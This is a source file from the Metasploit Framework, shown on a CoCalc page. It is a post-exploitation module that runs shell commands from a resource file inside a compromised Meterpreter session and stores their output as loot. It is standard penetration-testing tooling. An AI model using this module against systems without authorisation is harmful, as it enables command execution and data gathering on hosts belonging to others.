CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/multi_command.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Multi Gather Run Shell Command Resource File',
13
'Description' => %q{
14
This module will read shell commands from a resource file and
15
execute the commands in the specified Meterpreter or shell session.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
19
'Platform' => %w[bsd linux osx unix win],
20
'SessionTypes' => ['meterpreter']
21
)
22
)
23
register_options(
24
[
25
OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])
26
27
]
28
)
29
end
30
31
# Run Method for when run command is issued
32
def run
33
print_status("Running module against #{sysinfo['Computer']}")
34
if !::File.exist?(datastore['RESOURCE'])
35
raise 'Resource File does not exist!'
36
else
37
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
38
next if cmd.strip.empty?
39
next if cmd[0, 1] == '#'
40
41
begin
42
tmpout = "\n"
43
tmpout << "*****************************************\n"
44
tmpout << " Output of #{cmd}\n"
45
tmpout << "*****************************************\n"
46
print_status "Running command #{cmd.chomp}"
47
tmpout << cmd_exec(cmd.chomp)
48
vprint_status tmpout
49
command_log = store_loot('host.command', 'text/plain', session, tmpout,
50
"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt", "Command Output \'#{cmd.chomp}\'")
51
print_good("Command output saved to: #{command_log}")
52
rescue ::Exception => e
53
print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
54
end
55
end
56
end
57
end
58
end
59
60